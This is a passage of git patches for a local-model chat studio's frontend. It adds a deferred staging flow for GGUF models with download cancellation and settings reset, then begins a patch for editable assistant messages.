+                Template (which is edited via its own dialog). When a model is
+                staged (deferred load), Load/Cancel takes its place: there's
+                nothing loaded to "apply" against yet. */}
+            {pendingSelection ? (
+              <div className="flex flex-col gap-2">
+                {stagedDownloading && (
+                  <p className="text-[11px] text-muted-foreground">
+                    Downloading…{" "}
+                    {Math.round((stagedDownloadFraction ?? 0) * 100)}%
+                  </p>
+                )}
+                <div className="flex flex-wrap gap-1.5">
+                  <Button
+                    type="button"
+                    onClick={() => onLoadPendingModel?.()}
+                    disabled={stagedDownloading}
+                    size="sm"
+                    className="h-7 px-3 text-[12px] font-medium tracking-nav bg-primary/92 text-primary-foreground hover:bg-primary"
+                  >
+                    Load model
+                  </Button>
+                  <Button
+                    type="button"
+                    variant="outline"
+                    size="sm"
+                    onClick={() => {
+                      // Cancel abandons the stage; if a download is mid-flight,
+                      // stop it too rather than leaving it running headless.
+                      if (stagedDownloading) onCancelStagedDownload?.();
+                      abandonStagedModel();
+                    }}
+                    className="h-7 px-3 text-[12px] font-medium tracking-nav text-muted-foreground"
+                  >
+                    Cancel
+                  </Button>
+                </div>
+              </div>
+            ) : modelSettingsDirty ? (
               <div className="flex flex-wrap gap-1.5">
                 <Button
                   type="button"
@@ -1114,20 +1180,13 @@ export function ChatSettingsPanel({
                   type="button"
                   variant="outline"
                   size="sm"
-                  onClick={() => {
-                    setCustomContextLength(null);
-                    setKvCacheDtype(loadedKvCacheDtype);
-                    setSpeculativeType(loadedSpeculativeType);
-                    setSpecDraftNMax(loadedSpecDraftNMax);
-                    setTensorParallel(loadedTensorParallel ?? false);
-                    setChatTemplateOverride(loadedChatTemplateOverride);
-                  }}
+                  onClick={() => resetModelSettingsToLoaded()}
                   className="h-7 px-3 text-[12px] font-medium tracking-nav text-muted-foreground"
                 >
                   Reset
                 </Button>
               </div>
-            )}
+            ) : null}
             <ChatTemplateFields />
           </div>
         </CollapsibleSection>
@@ -1509,21 +1568,21 @@ export function ChatSettingsPanel({
                   : 64
               }
               max={
-                isExternalModel
+                // A staged GGUF caps to its own context even over an active
+                // external model (the staged model is what will load).
+                !pendingIsGguf && isExternalModel
                   ? getExternalMaxOutputTokens(
                       externalProviderType,
                       externalSelection?.modelId,
                     )
-                  : isGguf && ggufContextLength
-                    ? ggufContextLength
+                  : isGguf && baseContext
+                    ? baseContext
                     : 32768
               }
               step={64}
               onChange={set("maxTokens")}
               displayValue={
-                isGguf &&
-                ggufContextLength &&
-                params.maxTokens >= ggufContextLength
+                isGguf && baseContext && params.maxTokens >= baseContext
                   ? "Max"
                   : undefined
               }
diff --git a/studio/frontend/src/features/chat/components/openai-code-exec-section.tsx b/studio/frontend/src/features/chat/components/openai-code-exec-section.tsx
index 7dfa03672d..b28bf83737 100644
--- a/studio/frontend/src/features/chat/components/openai-code-exec-section.tsx
+++ b/studio/frontend/src/features/chat/components/openai-code-exec-section.tsx
@@ -45,7 +45,7 @@ import {
 import { CHAT_HISTORY_UPDATED_EVENT } from "../api/chat-api";
 import type { ExternalProviderConfig } from "../external-providers";
 import { ensureThreadRecord } from "../runtime-provider";
-import { InfoHint } from "../chat-settings-sheet";
+import { InfoHint } from "@/components/ui/info-hint";
 import {
   getStoredChatThread,
   listStoredChatThreads,
diff --git a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
index 55389e2bdf..a948d9e39d 100644
--- a/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
+++ b/studio/frontend/src/features/chat/hooks/use-chat-model-runtime.ts
@@ -43,12 +43,13 @@ import {
   isMultimodalResponse,
 } from "../types/api";
 import { isExternalModelId } from "../external-providers";
+import { cancelStagedModelDownload } from "@/features/hub";
 import type {
   ChatLoraSummary,
   ChatModelSummary,
 } from "../types/runtime";
 
-type SelectedModelInput = {
+export type SelectedModelInput = {
   id: string;
   isLora?: boolean;
   ggufVariant?: string;
@@ -57,7 +58,14 @@ type SelectedModelInput = {
   expectedBytes?: number;
   forceReload?: boolean;
   nativePathToken?: string;
+  /** Direct local .gguf file (no HF variant / native token) — still a GGUF
+   *  source, so the staging flow treats it as one. */
+  isGguf?: boolean;
   throwOnError?: boolean;
+  /** Keep the current speculative-decoding choice across the model switch
+   *  instead of resetting it to the standing preference. Set by the deferred
+   *  ("Load on selection") Load, where the user picked it for this model. */
+  keepSpeculative?: boolean;
 };
 
 const MODEL_LOAD_TOAST_CLASSNAMES = {
@@ -370,8 +378,27 @@ export function useChatModelRuntime() {
         typeof selection === "string" ? false : selection.forceReload ?? false;
       const nativePathToken =
         typeof selection === "string" ? undefined : selection.nativePathToken;
+      const explicitIsGguf =
+        typeof selection === "string" ? undefined : selection.isGguf;
       const throwOnError =
         typeof selection === "string" ? false : selection.throwOnError ?? false;
+      const keepSpeculative =
+        typeof selection === "string" ? false : selection.keepSpeculative ?? false;
+      // Picking/loading any model abandons a staged (deferred) selection.
+      // Before the early-returns below so even a no-op re-select clears the
+      // stage, and so the Load button unmounts on first click (no double-load).
+      const staged = useChatRuntimeStore.getState().pendingSelection;
+      if (staged) {
+        // Loading a DIFFERENT model abandons this stage, so cancel its in-flight
+        // download. Loading the staged pick itself keeps it (that download feeds
+        // this load).
+        const loadingStagedPick =
+          staged.id === modelId &&
+          (staged.ggufVariant ?? null) === (ggufVariant ?? null) &&
+          (staged.nativePathToken ?? null) === (nativePathToken ?? null);
+        if (!loadingStagedPick) cancelStagedModelDownload(staged);
+        useChatRuntimeStore.getState().setPendingSelection(null);
+      }
       const currentVariant = useChatRuntimeStore.getState().activeGgufVariant;
       if (!forceReload && (!modelId || (params.checkpoint === modelId && (ggufVariant ?? null) === (currentVariant ?? null)))) {
         return;
@@ -391,6 +418,7 @@ export function useChatModelRuntime() {
         typeof selection === "string" ? false : selection.isDownloaded ?? false;
       const model = models.find((entry) => entry.id === modelId);
       const lora = loras.find((entry) => entry.id === modelId);
+      const isGguf = explicitIsGguf ?? model?.isGguf ?? false;
       const loraIsAdapter = lora?.exportType === "lora";
       const isLora =
         explicitIsLora ?? model?.isLora ?? loraIsAdapter ?? false;
@@ -501,7 +529,10 @@ export function useChatModelRuntime() {
             // can't follow the user onto a model without an MTP head.
             // spec_draft_n_max is MTP-only and always resets. The loaded
             // shadow is seeded too, preventing a transient dirty Apply state.
-            if (currentCheckpoint && currentCheckpoint !== modelId) {
+            // keepSpeculative skips this for a staged Load: the user picked the
+            // mode for this model on the sidebar, so honor it (the backend still
+            // falls back at runtime if the model has no MTP head).
+            if (currentCheckpoint && currentCheckpoint !== modelId && !keepSpeculative) {
               const persistedSpeculativeType = readPersistedSpeculativeType();
               useChatRuntimeStore.setState({
                 speculativeType: persistedSpeculativeType,
@@ -525,6 +556,7 @@ export function useChatModelRuntime() {
             const effectiveMaxSeqLength = resolveLoadMaxSeqLength({
               modelId,
               ggufVariant,
+              isGguf,
               customContextLength,
               ggufContextLength,
               currentCheckpoint,
diff --git a/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts b/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts
new file mode 100644
index 0000000000..d154b931d4
--- /dev/null
+++ b/studio/frontend/src/features/chat/hooks/use-staged-model-preparation.ts
@@ -0,0 +1,114 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { useCallback, useEffect } from "react";
+
+import { useLatestRef } from "@/features/hub/hooks/use-latest-ref";
+import { useRepoDownload } from "@/features/hub/download-manager/use-repo-download";
+import type { DownloadJob } from "@/features/hub/download-manager/use-repo-download";
+
+import { fetchGgufContextLength } from "../api/chat-api";
+import {
+  isPendingGguf,
+  useChatRuntimeStore,
+} from "../stores/chat-runtime-store";
+
+/**
+ * Drives the deferred ("Load on selection" off) staging flow for a GGUF:
+ * download the file if needed (HF repo) or read it in place (native drag-drop /
+ * picked file), then read its header context length so the settings sheet can
+ * show the real context slider before the single GPU load. The staged context
+ * lands on `pendingSelection.contextLength` (scoped to the staged model, never
+ * the loaded model's `ggufContextLength`). Returns the live download job so the
+ * sheet can render progress / cancel. Mount once on the chat page.
+ */
+export function useStagedModelPreparation(): DownloadJob {
+  const pendingId = useChatRuntimeStore((s) => s.pendingSelection?.id ?? null);
+  const pendingVariant = useChatRuntimeStore(
+    (s) => s.pendingSelection?.ggufVariant ?? null,
+  );
+  const pendingNativeToken = useChatRuntimeStore(
+    (s) => s.pendingSelection?.nativePathToken ?? null,
+  );
+  // Only GGUF picks (HF variant or native file) have a header worth reading.
+  const pendingIsGguf = useChatRuntimeStore((s) =>
+    isPendingGguf(s.pendingSelection),
+  );
+  const pendingDownloaded = useChatRuntimeStore(
+    (s) => s.pendingSelection?.isDownloaded ?? false,
+  );
+  const pendingHasContext = useChatRuntimeStore(
+    (s) => s.pendingSelection?.contextLength != null,
+  );
+  const setPendingSelection = useChatRuntimeStore((s) => s.setPendingSelection);
+
+  const fetchContextMetadata = useCallback(async () => {
+    const current = useChatRuntimeStore.getState().pendingSelection;
+    if (!current?.id || !isPendingGguf(current)) return;
+    const { id, ggufVariant, nativePathToken } = current;
+    try {
+      const contextLength = await fetchGgufContextLength({
+        model_path: id,
+        gguf_variant: ggufVariant,
+        hf_token: useChatRuntimeStore.getState().hfToken || null,
+        nativePathToken,
+      });
+      // Apply only if the same model is still staged (the user may have switched
+      // picks or loaded/cancelled while the request was in flight). Native ids
+      // are display labels, not paths, so two files can share an id -- compare
+      // the path token too, or a stale response could land on the wrong pick.
+      const latest = useChatRuntimeStore.getState().pendingSelection;
+      if (
+        latest?.id === id &&
+        (latest.ggufVariant ?? null) === (ggufVariant ?? null) &&
+        (latest.nativePathToken ?? null) === (nativePathToken ?? null) &&
+        contextLength != null
+      ) {
+        setPendingSelection({ ...latest, contextLength });
+      }
+    } catch {
+      // Leave contextLength null: the context slider stays hidden and the user
+      // can still load (context fills in from the load response afterwards).
+    }
+  }, [setPendingSelection]);
+
+  const job = useRepoDownload({
+    kind: "model",
+    // useRepoDownload must be called unconditionally; an idle repo id keeps it
+    // inert until something is staged.
+    repoId: pendingId ?? "__staged_idle__",
+    activeVariant: pendingVariant,
+    onComplete: () => {
+      void fetchContextMetadata();
+    },
+  });
+
+  // job.requestStartDownload's identity changes per render; hold it in a ref so
+  // the staging effect re-runs only when the staged model itself changes.
+  const startDownloadRef = useLatestRef(job.requestStartDownload);
+  const fetchMetadataRef = useLatestRef(fetchContextMetadata);
+
+  useEffect(() => {
+    if (!pendingId || !pendingIsGguf || pendingHasContext) return;
+    // Native files and already-downloaded HF files are local: read the header
+    // now. Otherwise download first; onComplete then reads it.
+    if (pendingNativeToken || pendingDownloaded) {
+      void fetchMetadataRef.current();
+    } else {
+      const expectedBytes =
+        useChatRuntimeStore.getState().pendingSelection?.expectedBytes ?? 0;
+      void startDownloadRef.current(pendingVariant, expectedBytes);
+    }
+  }, [
+    pendingId,
+    pendingVariant,
+    pendingNativeToken,
+    pendingIsGguf,
+    pendingDownloaded,
+    pendingHasContext,
+    startDownloadRef,
+    fetchMetadataRef,
+  ]);
+
+  return job;
+}
diff --git a/studio/frontend/src/features/chat/presets/preset-policy.ts b/studio/frontend/src/features/chat/presets/preset-policy.ts
index 4efbb74f11..057e4778bf 100644
--- a/studio/frontend/src/features/chat/presets/preset-policy.ts
+++ b/studio/frontend/src/features/chat/presets/preset-policy.ts
@@ -297,6 +297,7 @@ export function mergeBackendRecommendedInference({
 export function resolveLoadMaxSeqLength({
   modelId,
   ggufVariant,
+  isGguf,
   customContextLength,
   ggufContextLength,
   currentCheckpoint,
@@ -306,6 +307,7 @@ export function resolveLoadMaxSeqLength({
 }: {
   modelId: string;
   ggufVariant?: string | null;
+  isGguf?: boolean | null;
   customContextLength: number | null;
   ggufContextLength: number | null;
   currentCheckpoint: string;
@@ -314,7 +316,7 @@ export function resolveLoadMaxSeqLength({
   presetSource: ChatPresetSource;
 }): number {
   const isDirectGgufFile = modelId.toLowerCase().endsWith(".gguf");
-  const isGgufLoad = ggufVariant != null || isDirectGgufFile;
+  const isGgufLoad = isGguf === true || ggufVariant != null || isDirectGgufFile;
   const isReloadingCurrentGguf =
     isGgufLoad &&
     currentCheckpoint === modelId &&
diff --git a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
index 003a32ddb1..68b8d1d523 100644
--- a/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
+++ b/studio/frontend/src/features/chat/stores/chat-runtime-store.ts
@@ -3,6 +3,7 @@
 
 import { toast } from "@/lib/toast";
 import { create } from "zustand";
+import { cancelStagedModelDownload } from "@/features/hub";
 import {
   type ChatPresetSource,
   type Preset,
@@ -35,6 +36,7 @@ export const CHAT_ALLOW_ARTIFACT_NETWORK_ACCESS_KEY =
   "unsloth_chat_allow_artifact_network_access";
 export const CHAT_MCP_ENABLED_KEY = "unsloth_chat_mcp_enabled";
 export const CHAT_CONFIRM_TOOL_CALLS_KEY = "unsloth_chat_confirm_tool_calls";
+export const CHAT_LOAD_ON_SELECTION_KEY = "unsloth_chat_load_on_selection";
 export const CHAT_BYPASS_PERMISSIONS_KEY = "unsloth_chat_bypass_permissions";
 export const CHAT_WEB_FETCH_TOOLS_ENABLED_KEY =
   "unsloth_chat_web_fetch_tools_enabled";
@@ -86,6 +88,7 @@ function saveRagSource(value: RagSource): void {
   try {
     window.localStorage.setItem(CHAT_RAG_SOURCE_KEY, JSON.stringify(value));
   } catch {
+    // Ignore storage failures; the default RAG source still works for this session.
   }
 }
 
@@ -408,6 +411,42 @@ function notifyHfTokenChanged(value: string): void {
   }
 }
 
+/** A local model staged for a deferred load (see `pendingSelection`). Shape is
+ *  a subset of the load hook's `SelectedModelInput`, structurally assignable. */
+export type PendingModelSelection = {
+  id: string;
+  isLora?: boolean;
+  ggufVariant?: string;
+  isDownloaded?: boolean;
+  expectedBytes?: number;
+  /** Native (drag-drop / picked-from-disk) GGUF: the path token used to read
+   *  the header and to load. Absent for HF-repo models. */
+  nativePathToken?: string;
+  /** Direct local .gguf file (custom folder / LM Studio): a GGUF source even
+   *  though it carries neither an HF variant nor a native path token. */
+  isGguf?: boolean;
+  /** Native context length read from the GGUF header once the file is local.
+   *  Scoped here (not the shared `ggufContextLength`) so a staged model's
+   *  metadata never pollutes the currently-loaded model's context display. */
+  contextLength?: number | null;
+};
+
+/** A pick is a GGUF (HF variant, native file, or a direct local .gguf) and so
+ *  has pre-load options worth staging. Works on a selection or a staged pick. */
+export function hasGgufSource(x: {
+  ggufVariant?: string;
+  nativePathToken?: string;
+  isGguf?: boolean;
+}): boolean {
+  return (
+    x.ggufVariant != null || x.nativePathToken != null || x.isGguf === true
+  );
+}
+
+export function isPendingGguf(pending: PendingModelSelection | null): boolean {
+  return pending != null && hasGgufSource(pending);
+}
+
 type ChatRuntimeStore = {
   settingsHydrated: boolean;
   params: InferenceParams;
@@ -538,6 +577,13 @@ type ChatRuntimeStore = {
   tensorParallel: boolean;
   /** Backend-reported tensor-parallel state; null until first hydrated. */
   loadedTensorParallel: boolean | null;
+  /** Persisted: when false, picking a local model stages it as
+   *  `pendingSelection` (and opens settings) instead of loading immediately,
+   *  so load settings can be set before the single load. */
+  loadOnSelection: boolean;
+  /** A local model picked while `loadOnSelection` is off: staged, not loaded.
+   *  The settings sheet shows its load knobs and a Load button. */
+  pendingSelection: PendingModelSelection | null;
   loadedIsMultimodal: boolean;
   /** Active model is a block-diffusion model (DiffusionGemma): drives the
    *  denoising-canvas artifact auto-render. */
@@ -638,7 +684,20 @@ type ChatRuntimeStore = {
   setKvCacheDtype: (dtype: string | null) => void;
   setSpeculativeType: (type: string | null) => void;
   setSpecDraftNMax: (value: number | null) => void;
+  /** Revert the editable load knobs to the loaded model's baseline (or defaults
+   *  when nothing is loaded). Used by the settings-sheet Reset button and to
+   *  start each deferred-staging session clean so one staged pick's settings
+   *  don't leak onto the next. */
+  resetModelSettingsToLoaded: () => void;
   setTensorParallel: (value: boolean) => void;
+  setLoadOnSelection: (value: boolean) => void;
+  setPendingSelection: (selection: PendingModelSelection | null) => void;
+  /** Stage a pick for a deferred load: revert knobs to the loaded baseline,
+   *  record the selection, and open the settings sheet. */
+  stageModel: (selection: PendingModelSelection) => void;
+  /** Abandon a staged pick without loading: revert the knobs to the loaded
+   *  baseline and clear the pending selection. */
+  abandonStagedModel: () => void;
   setCustomContextLength: (v: number | null) => void;
   setChatTemplateOverride: (template: string | null) => void;
   setPendingAudio: (base64: string, name: string) => void;
@@ -839,6 +898,23 @@ function setScalarSettingVersion<K extends ScalarSettingKey>(
   saveSettingsPatch({ [key]: value });
 }
 
+/** The "revert to the loaded model" baseline for the editable load knobs.
+ *  Shared by resetModelSettingsToLoaded (full revert) and stageModel (which
+ *  overrides speculative to start a fresh pick from the standing default). */
+function loadedBaselineSettings(s: ChatRuntimeStore) {
+  const hasLoadedModel = Boolean(s.params.checkpoint);
+  return {
+    customContextLength: null,
+    kvCacheDtype: s.loadedKvCacheDtype,
+    tensorParallel: s.loadedTensorParallel ?? false,
+    speculativeType: hasLoadedModel
+      ? s.loadedSpeculativeType
+      : readPersistedSpeculativeType(),
+    specDraftNMax: hasLoadedModel ? s.loadedSpecDraftNMax : null,
+    chatTemplateOverride: s.loadedChatTemplateOverride,
+  };
+}
+
 export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   settingsHydrated: false,
   // Hydrate the last external checkpoint so the external picker survives a
@@ -924,6 +1000,8 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   loadedSpecDraftNMax: null,
   tensorParallel: false,
   loadedTensorParallel: null,
+  loadOnSelection: loadBool(CHAT_LOAD_ON_SELECTION_KEY, true),
+  pendingSelection: null,
   loadedIsMultimodal: false,
   loadedIsDiffusion: false,
   customContextLength: null,
@@ -1061,6 +1139,11 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       // Clear stale per-turn usage on model change; the relaxed external-provider
       // render gate would otherwise show old counters until the next completion.
       const checkpointChanged = state.params.checkpoint !== modelId;
+      const pendingToClear =
+        checkpointChanged && state.params.checkpoint ? state.pendingSelection : null;
+      if (pendingToClear) {
+        cancelStagedModelDownload(pendingToClear);
+      }
       // Clamp maxTokens to the new model's cap when switching into an external
       // model so a value carried over from a local session doesn't exceed the
       // slider's max.
@@ -1088,6 +1171,14 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
         },
         activeGgufVariant: ggufVariant ?? null,
         ...(checkpointChanged ? { contextUsage: null } : {}),
+        // Switching away from a loaded model (e.g. picking an external provider)
+        // abandons any staged pick, so its Load button and edited knobs don't
+        // linger over the newly active model. Same revert as abandonStagedModel.
+        // Guarded on a non-empty current checkpoint: an establishing set from a
+        // background status sync (empty -> active) must not wipe a fresh stage.
+        ...(pendingToClear
+          ? { ...loadedBaselineSettings(state), pendingSelection: null }
+          : {}),
       };
     }),
   setActiveThreadId: (activeThreadId) =>
@@ -1100,6 +1191,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
     // clear any stored external selection so the next refresh doesn't snap
     // back to a model the user intentionally cleared.
     saveLastExternalCheckpoint(null);
+    cancelStagedModelDownload(get().pendingSelection);
     return set((state) => ({
       params: {
         ...state.params,
@@ -1107,6 +1199,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       },
       activeGgufVariant: null,
       activeNativePathToken: null,
+      pendingSelection: null,
       ggufContextLength: null,
       ggufMaxContextLength: null,
       ggufNativeContextLength: null,
@@ -1339,6 +1432,43 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   setSpeculativeType: (speculativeType) => set({ speculativeType }),
   setSpecDraftNMax: (specDraftNMax) => set({ specDraftNMax }),
   setTensorParallel: (tensorParallel) => set({ tensorParallel }),
+  resetModelSettingsToLoaded: () => set((s) => loadedBaselineSettings(s)),
+  setLoadOnSelection: (loadOnSelection) => {
+    saveBool(CHAT_LOAD_ON_SELECTION_KEY, loadOnSelection);
+    set({ loadOnSelection });
+  },
+  setPendingSelection: (pendingSelection) => set({ pendingSelection }),
+  stageModel: (selection) =>
+    set((s) => {
+      if (
+        s.pendingSelection &&
+        (s.pendingSelection.id !== selection.id ||
+          (s.pendingSelection.ggufVariant ?? null) !==
+            (selection.ggufVariant ?? null))
+      ) {
+        cancelStagedModelDownload(s.pendingSelection);
+      }
+      return {
+        ...loadedBaselineSettings(s),
+        pendingSelection: selection,
+        settingsPanelOpen: true,
+        // Speculative starts from the standing default, not the loaded model's
+        // mode, so a fresh pick doesn't inherit (and then carry, via the staged
+        // Load's keepSpeculative) a forced MTP mode onto a model that may lack it.
+        speculativeType: readPersistedSpeculativeType(),
+        specDraftNMax: null,
+      };
+    }),
+  abandonStagedModel: () => {
+    const { pendingSelection } = get();
+    if (!pendingSelection) return;
+    // Cancel the staged pick's in-flight download so it doesn't keep running
+    // after the staging UI is gone. Centralized here so every abandon path
+    // (sheet close, thread switch, route exit, new chat) cancels it, including
+    // root-level callers that have no access to the useRepoDownload hook.
+    cancelStagedModelDownload(pendingSelection);
+    set((s) => ({ ...loadedBaselineSettings(s), pendingSelection: null }));
+  },
   setCustomContextLength: (customContextLength) => set({ customContextLength }),
   setChatTemplateOverride: (chatTemplateOverride) =>
     set({ chatTemplateOverride }),
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index 781172fb4f..556caa0617 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -72,6 +72,8 @@ export interface ValidateModelResponse {
   is_lora?: boolean;
   is_vision?: boolean;
   requires_trust_remote_code?: boolean;
+  /** Native context length from the local GGUF header; null until downloaded. */
+  context_length?: number | null;
 }
 
 export interface GgufVariantDetail {
diff --git a/studio/frontend/src/features/hub/download-manager/download-manager-controller.ts b/studio/frontend/src/features/hub/download-manager/download-manager-controller.ts
index abfeaf3c0d..da653ddeb7 100644
--- a/studio/frontend/src/features/hub/download-manager/download-manager-controller.ts
+++ b/studio/frontend/src/features/hub/download-manager/download-manager-controller.ts
@@ -1,10 +1,14 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { DOWNLOAD_KIND } from "./constants";
 import {
   createDownloadManagerInitialState,
+  jobKeyOf,
   removeJob,
+  selectActiveJob,
   setState,
+  useDownloadManagerStore,
 } from "./download-manager-state";
 import { resetDownloadApiAdapterState } from "./download-api-adapter";
 import {
@@ -65,6 +69,26 @@ export const downloadManager: DownloadManagerController = {
   dismiss: removeJob,
 };
 
+/** Cancel the in-flight download for a staged model pick. No-op when nothing is
+ *  downloading (e.g. a native/local file that was never fetched). Lets non-React
+ *  callers (the chat store's abandon paths) stop a staged transfer without the
+ *  useRepoDownload hook. */
+export function cancelStagedModelDownload(
+  pending: { id: string; ggufVariant?: string | null } | null,
+): void {
+  if (!pending) return;
+  const variant = pending.ggufVariant ?? null;
+  const activeJob = selectActiveJob(
+    useDownloadManagerStore.getState(),
+    DOWNLOAD_KIND.MODEL,
+    pending.id,
+    variant,
+  );
+  void downloadManager.cancel(
+    activeJob?.key ?? jobKeyOf(DOWNLOAD_KIND.MODEL, pending.id, variant),
+  );
+}
+
 if (import.meta.hot) {
   import.meta.hot.dispose(() => {
     __resetDownloadManagerForTests();
diff --git a/studio/frontend/src/features/hub/download-manager/index.ts b/studio/frontend/src/features/hub/download-manager/index.ts
index 60ef3851f8..dd88aaf3f0 100644
--- a/studio/frontend/src/features/hub/download-manager/index.ts
+++ b/studio/frontend/src/features/hub/download-manager/index.ts
@@ -20,6 +20,7 @@ export {
 } from "./constants";
 export {
   __resetDownloadManagerForTests,
+  cancelStagedModelDownload,
   clearCompletedInventoryHint,
   downloadManager,
   hydrateDownloadManager,
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index 5ce58f4362..de78ce7438 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -1004,6 +1004,23 @@ export function ModelsPage() {
     (opts: ModelLoadOptions, isDownloaded: boolean) => {
       if (!selectedModel) return;
       const runId = selectedModel.resource.runId;
+      // "Load on selection" off: stage GGUF picks instead of loading, so the
+      // chat page's staging flow can read the header and show the load options.
+      // Non-GGUF models have nothing to configure pre-load, so they load now.
+      if (
+        !useChatRuntimeStore.getState().loadOnSelection &&
+        (opts.ggufVariant != null || selectedModel.isGguf)
+      ) {
+        useChatRuntimeStore.getState().stageModel({
+          id: runId,
+          ggufVariant: opts.ggufVariant,
+          isGguf: selectedModel.isGguf,
+          isDownloaded,
+          expectedBytes: opts.expectedBytes,
+        });
+        openNewChat();
+        return;
+      }
       void selectModel({
         id: runId,
         ggufVariant: opts.ggufVariant,
@@ -1012,6 +1029,7 @@ export function ModelsPage() {
         throwOnError: true,
       })
         .then(() => {
+          // Read fresh: the load is async, so the checkpoint may have changed.
           const store = useChatRuntimeStore.getState();
           if (!modelIdsMatch(store.params.checkpoint, runId)) {
             store.setCheckpoint(runId, opts.ggufVariant ?? null);
diff --git a/studio/frontend/src/features/hub/index.ts b/studio/frontend/src/features/hub/index.ts
new file mode 100644
index 0000000000..ddcef146b0
--- /dev/null
+++ b/studio/frontend/src/features/hub/index.ts
@@ -0,0 +1,4 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export { cancelStagedModelDownload } from "./download-manager";

From 9666e5de94bece33fc1898ace19c6444d6c42c5d Mon Sep 17 00:00:00 2001
From: CelesteHeartsong <116313756+CelesteHeartsong@users.noreply.github.com>
Date: Wed, 17 Jun 2026 08:29:59 -0700
Subject: [PATCH 46/91] Feature: implement editable assistant messages (#6397)

* feat: implement editable assistant messages

* feat: implement editable assistant messages

* feat: implement editable assistant messages

* feat: implement editable assistant messages

* feat: implement editable assistant messages

* feat: implement editable assistant messages

* feat: implement editable assistant messages

* feat: implement editable assistant messages

* feat: implement editable assistant messages

* feat: implement editable assistant messages

* fix: restore assistant HTML previews

---------

Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---
 .../src/components/assistant-ui/thread.tsx    | 181 +++++++++++++++---
 .../chat/stores/chat-runtime-store.ts         |   4 +
 .../chat/utils/update-thread-message.ts       | 155 +++++++++++++++
 3 files changed, 311 insertions(+), 29 deletions(-)
 create mode 100644 studio/frontend/src/features/chat/utils/update-thread-message.ts

diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index c9dfb348d9..a65a157707 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -162,6 +162,7 @@ import {
   useState,
 } from "react";
 import { create } from "zustand";
+import { extractTaggedText, updateThreadMessage } from "@/features/chat/utils/update-thread-message";
 
 // True while a file is dragged anywhere over the chat page, so the composer
 // can show its "Drop files here" affordance.
@@ -3195,41 +3196,138 @@ const DiffusionCanvas: FC = () => {
   );
 };
 
+/**
+ * AssistantMessage handles the display and inline-editing of AI responses.
+ * 
+ * It utilizes a "Tagged Text" system (<THINK> and <TOOL> tags) to allow users 
+ * to edit structured reasoning and tool outputs within a plain-text textarea 
+ * while preserving the underlying data schema and tool-call metadata.
+ */
 const AssistantMessage: FC = () => {
+  const aui = useAui();
+  const messageId = useAuiState(({ message }) => message.id);
+  const messageContent = useAuiState(({ message }) => message.content);
+  const incognito = useChatRuntimeStore((s) => s.incognito);
+  
+  // Use global store for editing state to ensure a single source of truth
+  const editingId = useChatRuntimeStore((s) => s.editingMessageId);
+  const setEditingId = useChatRuntimeStore((s) => s.setEditingMessageId);
+  const isEditing = editingId === messageId;
+
+  const textareaRef = useRef<HTMLTextAreaElement>(null);
+
+  // Auto-grow textarea height based on content
+  const adjustHeight = () => {
+    const el = textareaRef.current;
+    if (el) {
+      el.style.height = "auto";
+      el.style.height = `${el.scrollHeight}px`;
+    }
+  };
+
+  useEffect(() => {
+    if (isEditing) setTimeout(adjustHeight, 0);
+  }, [isEditing]);
+
+  const handleSave = async () => {
+    const finalText = textareaRef.current?.value || "";
+    
+    // Prioritize the specific thread item ID, then fallback to the global active thread ID
+    const remoteId = aui.threadListItem().getState().remoteId 
+                  || useChatRuntimeStore.getState().activeThreadId;
+
+    if (!remoteId || remoteId === "" || remoteId === "/") {
+      toast.error("Save failed: No thread ID found.");
+      setEditingId(null);
+      return;
+    }
+
+    try {
+      await updateThreadMessage({
+        thread: { 
+          export: () => aui.thread().export(), 
+          import: (data) => aui.thread().import(data) 
+        },
+        messageId,
+        remoteId,
+        newText: finalText,
+        isIncognito: incognito,
+      });
+    } catch (error) {
+      console.error("UI: Error during save:", error);
+      toast.error("Failed to save message edits.");
+    } finally {
+      setEditingId(null);
+    }
+  };
+
   return (
     <MessagePrimitive.Root
       className="aui-assistant-message-root relative mx-auto min-w-0 w-full max-w-(--thread-content-max-width) pt-0.5 pb-4 text-[15.5px] [font-weight:410] tracking-[0.01em] dark:tracking-[0.02em]"
       data-role="assistant"
     >
       <div className="aui-assistant-message-content wrap-break-word min-w-0 text-[#0d0d0d] dark:text-foreground leading-relaxed">
-        <GeneratingIndicator />
-        <CancelledIndicator />
-        <DiffusionCanvas />
-        <MessagePrimitive.Parts
-          components={{
-            Text: MarkdownText,
-            Reasoning: Reasoning,
-            ReasoningGroup: ReasoningGroup,
